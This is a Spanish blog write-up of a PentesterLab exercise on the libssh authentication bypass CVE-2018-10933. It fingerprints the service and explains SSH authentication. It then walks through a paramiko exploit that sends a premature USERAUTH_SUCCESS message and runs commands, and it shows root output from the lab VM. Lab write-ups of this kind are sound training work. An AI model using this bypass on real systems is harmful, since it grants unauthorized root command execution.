Hacker Lab: P1. Bypass de autenticación Libssh

Estoy comenzando una serie de artículos sobre el análisis del servicio pentesterlab . Desafortunadamente, no tengo una versión Pro del curso, por lo que estoy limitado solo a la lista de tareas gratuitas. Cada caso es un sistema que contiene una vulnerabilidad que debe ser explotada para lograr un objetivo específico.


Bypass de autenticación Libssh


El caso incluye un host (máquina virtual) con el servicio SSH en ejecución. El desafío es obtener el control de la máquina a través de la omisión de autenticación SSH. Imagine que no sabemos qué implementación de SSH en particular está en el servidor y qué vulnerabilidad necesitamos explotar.

¿Cómo averiguarlo? Lo primero que viene a la mente es usar el escáner de red nmap con la opción -sV:

~$ nmap 192.168.0.89 -p 22 -sV Nmap scan report for 192.168.0.89 Host is up (0.00100s latency). PORT STATE SERVICE VERSION 22/tcp open ssh (protocol 2.0) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port22-TCP:V=7.60%I=7%D=3/2%Time=5C7A9190%P=x86_64-pc-linux-gnu%r(NULL, SF:16,"SSH-2\.0-libssh_0\.8\.3\r\n"); 

En el informe, nmap informa que el servicio es desconocido para él. Pero después de mirar la huella digital del servicio, podemos ver la línea de identificación del servidor, desde la cual es obvio que el puerto está escuchando en la versión LibSSH 0.8.3.
Rebanado de RFC-4253:
Inmediatamente después de establecer una conexión, el cliente y el servidor intercambian mensajes del formulario:

SSH-protoversion-softwareversion comentarios

El campo de protoversión indica la versión del protocolo. Dado que la segunda versión de SSH es actualmente relevante, el campo debe contener el valor "2.0". El campo de versión de software contiene el nombre y la versión de la implementación del protocolo utilizada principalmente para iniciar extensiones, compatibilidad y una indicación de las capacidades de implementación. El campo de comentarios es opcional; indica información adicional que puede ayudar a resolver los problemas del usuario.
Del mismo modo, podríamos obtener esta línea utilizando la utilidad telnet:

 $ telnet 192.168.0.89 22 Trying 192.168.0.89... Connected to 192.168.0.89. Escape character is '^]'. SSH-2.0-libssh_0.8.3 Bye ByeConnection closed by foreign host. 

O atraviese WireShark:

imagen

Las búsquedas en Google nos llevan a la vulnerabilidad CVE-2018-10933, que afecta a las versiones de LibSSH de 0.7.6 a 0.8.4. Para entenderlo, hablaré brevemente sobre la autenticación del cliente mediante SSH. Una vez establecida la conexión, el cliente y el servidor acuerdan un secreto llamado Clave de sesión , que se utilizará para el cifrado durante la sesión. Además, la autenticación se puede dividir en varias etapas, que se cifran:

  1. El cliente envía al servidor un mensaje SSH_MSG_USERAUTH_REQUEST que contiene el nombre de usuario, el nombre del método de autenticación y los campos adicionales. El servidor puede aceptar la solicitud o rechazarla con un mensaje con el código SSH_MSG_USERAUTH_FAILURE, si el método de autenticación propuesto no es compatible.
  2. El segundo paso depende directamente del método de autenticación. En el caso de la autenticación de contraseña, el cliente envía la contraseña en la primera etapa y luego espera la confirmación del servidor. En la autenticación con claves públicas, la clave pública y la firma se envían con la clave privada. El servidor comprueba si tiene dicho usuario, con una clave pública de ese tipo, y si la clave pública de la firma coincide ... Todavía existe un método de autenticación por host, pero rara vez se utiliza, todos los métodos de autenticación se pueden leer en detalle en RFC-4252 ( ruso , inglés )
  3. En el tercer paso, el cliente espera la autenticación del servidor. El servidor envía un mensaje con el código SSH_MSG_USERAUTH_SUCSESS si acepta la autenticación o SSH_MSG_USERAUTH_FAILURE si lo rechaza.

Hay un error en la sección de código responsable de verificar el código del mensaje que permite al servidor recibir el mensaje SSH_MSG_USERAUTH_SUCSESS. El uso de esta brecha puede omitir el proceso de autenticación.

GitHUb tiene muchas vulnerabilidades ya preparadas para esta vulnerabilidad, por lo que no reinventaremos la rueda y consideraremos esta (agradezco al autor del guión).

El script está escrito en python usando paramiko - módulo Python (2.7, 3.4+) del protocolo SSHv2, que proporciona la funcionalidad tanto del cliente como del servidor. Analicemos las secciones de código que nos interesan:

 sock = socket.socket() sock.connect((host,int(port))) 

Esta línea crea un socket y se conecta al servidor. Lo que es un socket está muy bien descrito aquí .

 message = paramiko.message.Message() 

Esta clase de mensaje es SSH2. Es un conjunto de números de fila y variables de tipo bool, recopilados en una secuencia de bytes.

 transport = paramiko.transport.Transport(sock) transport.start_client() 

Esta clase es un medio de interactuar con el protocolo SSH. Lo creamos e inmediatamente nos conectamos en modo cliente.

 message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) transport._send_message(message) 

El parámetro paramiko.common.cMSG_USERAUTH_SUCCESS es el número 52, colocado en un byte. Este es el código de mensaje MSG_USERAUTH_SUCCESS. Enviamos este mensaje al servidor.

 cmd = transport.open_session() cmd.exec_command(command) 

Creamos un nuevo canal e inmediatamente enviamos el comando, escrito como una cadena al mando.

 out=cmd.makefile("rb",222048) output=out.read() out.close() print (output) 

El método makefile crea un contenedor de archivos alrededor de la tubería. "Rb" - modo de acceso de bytes de lectura, 222048 - tamaño del búfer. Out obtiene el resultado del comando que enviamos, que imprimimos mediante print (). Con out.close (), finalizamos la conexión.

Queda por ejecutar este script, que indica la dirección IP de la máquina virtual que se descargó y ejecutó anteriormente, y el comando que queremos ejecutar en nuestra víctima. Traté de especificar diferentes comandos, y aquí está el resultado:

 #   ,     $ ./LibAuth.py --host 192.168.0.89 -c whoami b'root\n' #   $ ./LibAuth.py --host 192.168.0.89 -c date b'Wed Mar 6 22:50:00 UTC 2019\n' #  $ ./LibAuth.py --host 192.168.0.89 -c env b'USER=pentesterlab\nSHLVL=5\nHOME=/\nuser=pentesterlab\nTERM=linux\nBOOT_IMAGE=/boot/vmlinuz\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/bin:/usr/bin\nLANG=C\nSHELL=/bin/sh\ninitrd=/boot/initrd.img\nPWD=/\n' 

La conclusión del resultado es un poco torpe, si es necesario, puede solucionarlo. Pero en general, la tarea se puede considerar completada.

Continuará ...

Source: https://habr.com/ru/post/438434/


All Articles